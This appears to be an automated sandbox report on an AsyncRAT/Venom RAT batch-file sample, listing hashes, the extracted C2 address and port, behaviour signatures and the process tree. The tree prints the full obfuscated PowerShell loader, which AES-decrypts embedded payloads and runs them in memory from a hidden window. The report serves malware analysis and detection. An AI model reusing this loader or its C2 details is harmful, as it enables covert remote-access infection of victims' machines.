asyncrat | a2dfe970dc385f9aa1a81946c4bc41144d182dbddb02e37ce4c5b52c9b884aaa

Analysis

max time kernel
123s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
21/04/2024, 01:14

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General

Target
a2dfe970dc385f9aa1a81946c4bc41144d182dbddb02e37ce4c5b52c9b884aaa.bat
Size 60KB
Sample240421-bl5e8sfb27
SHA256 a2dfe970dc385f9aa1a81946c4bc41144d182dbddb02e37ce4c5b52c9b884aaa
MD5 cab2108a81d68104dd9b15efcedf8351
SHA1 03852c18f75cad87f71693fb1973d9a04e8910ed
SHA512 e474ce03766f8e21fdb14e072144e8e1c5fa1f30e66ea4f7a05fade86bd783fb4dec65d23ab01861524959a0a029cb2112074116fdbd72d02ab4794216ed95f5
SSDEEP 1536:ts4yFTt4kNLNofpmw3dU7pVcJqmJQBULYJebJaRVmMWVXUpQk8daktj2aVv0+x/:tITGkDofH27pAD8YdYFpQk88kd2aJ/x/
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

193.222.96.114:4449

Mutex

nkvohxapain

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3848-31-0x0000025748500000-0x0000025748518000-memory.dmp	family_asyncrat

Detects executables attemping to enumerate video devices using WMI 1 IoCs

resource	yara_rule
behavioral2/memory/3848-31-0x0000025748500000-0x0000025748518000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice

Blocklisted process makes network request 3 IoCs

flow	pid	Process
8	3848	powershell.exe
10	3848	powershell.exe
108	3848	powershell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3848	powershell.exe
3848	powershell.exe
3960	powershell.exe
3960	powershell.exe
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3848	powershell.exe
Token: SeDebugPrivilege	3960	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3848	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1604 wrote to memory of 3948	1604	cmd.exe	85
PID 1604 wrote to memory of 3948	1604	cmd.exe	85
PID 3948 wrote to memory of 3220	3948	cmd.exe	87
PID 3948 wrote to memory of 3220	3948	cmd.exe	87
PID 3948 wrote to memory of 3848	3948	cmd.exe	88
PID 3948 wrote to memory of 3848	3948	cmd.exe	88
PID 3848 wrote to memory of 3960	3848	powershell.exe	92
PID 3848 wrote to memory of 3960	3848	powershell.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\a2dfe970dc385f9aa1a81946c4bc41144d182dbddb02e37ce4c5b52c9b884aaa.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\a2dfe970dc385f9aa1a81946c4bc41144d182dbddb02e37ce4c5b52c9b884aaa.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\a2dfe970dc385f9aa1a81946c4bc41144d182dbddb02e37ce4c5b52c9b884aaa.bat';$gPQY='CmYpnhamYpnnmYpngmYpnemYpnEmYpnxtmYpnenmYpnsmYpniomYpnnmYpn'.Replace('mYpn', ''),'LoaUtEPdUtEP'.Replace('UtEP', ''),'MaiCYgQnMCYgQodCYgQuleCYgQ'.Replace('CYgQ', ''),'SprHTnlitrHTn'.Replace('rHTn', ''),'TrrzhRarzhRnsfrzhRorrzhRmFrzhRirzhRnarzhRlBlrzhRorzhRckrzhR'.Replace('rzhR', ''),'GetuUbXCuUbXuuUbXruUbXreuUbXntuUbXPuUbXrouUbXcuUbXesuUbXsuUbX'.Replace('uUbX', ''),'FrFEdOomBFEdOasFEdOe64FEdOStrFEdOiFEdOngFEdO'.Replace('FEdO', ''),'ReanclddLncldinencldsncld'.Replace('ncld', ''),'DjPqYejPqYcojPqYmpjPqYrejPqYssjPqY'.Replace('jPqY', ''),'IPIJhnvPIJhokPIJhePIJh'.Replace('PIJh', ''),'CopZKPiyTZKPioZKPi'.Replace('ZKPi', ''),'ElIXGDeIXGDmIXGDenIXGDtAIXGDtIXGD'.Replace('IXGD', ''),'CruXrmeuXrmatuXrmeDeuXrmcryuXrmptuXrmoruXrm'.Replace('uXrm', ''),'EJuQRntJuQRrJuQRyPJuQRoinJuQRtJuQR'.Replace('JuQR', '');powershell -w hidden;function oukWk($hMAdX){$uBEEb=[System.Security.Cryptography.Aes]::Create();$uBEEb.Mode=[System.Security.Cryptography.CipherMode]::CBC;$uBEEb.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$uBEEb.Key=[System.Convert]::($gPQY[6])('TGdOerQan8DiYOIpc1W3E6Uf7wMJSi91JjPhdKuCB3Q=');$uBEEb.IV=[System.Convert]::($gPQY[6])('CruLH9j6aex2cpz0fozZ+w==');$XBRRE=$uBEEb.($gPQY[12])();$gomww=$XBRRE.($gPQY[4])($hMAdX,0,$hMAdX.Length);$XBRRE.Dispose();$uBEEb.Dispose();$gomww;}function SIliJ($hMAdX){$nQeHe=New-Object System.IO.MemoryStream(,$hMAdX);$EvPMN=New-Object System.IO.MemoryStream;$uxdRy=New-Object System.IO.Compression.GZipStream($nQeHe,[IO.Compression.CompressionMode]::($gPQY[8]));$uxdRy.($gPQY[10])($EvPMN);$uxdRy.Dispose();$nQeHe.Dispose();$EvPMN.Dispose();$EvPMN.ToArray();}$WrkBk=[System.IO.File]::($gPQY[7])([Console]::Title);$dItwN=SIliJ (oukWk ([Convert]::($gPQY[6])([System.Linq.Enumerable]::($gPQY[11])($WrkBk, 5).Substring(2))));$Yylgf=SIliJ (oukWk ([Convert]::($gPQY[6])([System.Linq.Enumerable]::($gPQY[11])($WrkBk, 6).Substring(2))));[System.Reflection.Assembly]::($gPQY[1])([byte[]]$Yylgf).($gPQY[13]).($gPQY[9])($null,$null);[System.Reflection.Assembly]::($gPQY[1])([byte[]]$dItwN).($gPQY[13]).($gPQY[9])($null,$null); "
    3⤵
    PID:3220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3960

Network

MITRE ATT&CK Matrix

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Downloads

__PSScriptPolicyTest_cv4p5x3w.qca.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cv4p5x3w.qca.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/3848-29-0x00000257484E0000-0x00000257484E8000-memory.dmp

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memory/3848-40-0x00007FFC5FB90000-0x00007FFC60651000-memory.dmp

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memory/3848-11-0x0000025748520000-0x0000025748530000-memory.dmp

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memory/3848-12-0x0000025748530000-0x0000025748574000-memory.dmp

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memory/3848-13-0x00000257616D0000-0x0000025761746000-memory.dmp

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memory/3848-45-0x0000025748520000-0x0000025748530000-memory.dmp

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memory/3848-44-0x00007FFC7DC10000-0x00007FFC7DE05000-memory.dmp

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memory/3848-43-0x0000025748520000-0x0000025748530000-memory.dmp

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memory/3848-42-0x0000025748520000-0x0000025748530000-memory.dmp

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memory/3848-5-0x0000025748490000-0x00000257484B2000-memory.dmp

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memory/3848-10-0x00007FFC5FB90000-0x00007FFC60651000-memory.dmp

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memory/3848-30-0x00000257484F0000-0x0000025748500000-memory.dmp

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memory/3848-31-0x0000025748500000-0x0000025748518000-memory.dmp

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memory/3848-34-0x00007FFC7DC10000-0x00007FFC7DE05000-memory.dmp

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memory/3848-37-0x00007FFC6DA30000-0x00007FFC6DA49000-memory.dmp

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memory/3848-38-0x0000025748520000-0x0000025748530000-memory.dmp

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memory/3848-33-0x0000025748520000-0x0000025748530000-memory.dmp

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memory/3960-28-0x00007FFC5FB90000-0x00007FFC60651000-memory.dmp

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memory/3960-16-0x0000015BA0910000-0x0000015BA0920000-memory.dmp

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memory/3960-15-0x0000015BA0910000-0x0000015BA0920000-memory.dmp

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memory/3960-14-0x00007FFC5FB90000-0x00007FFC60651000-memory.dmp

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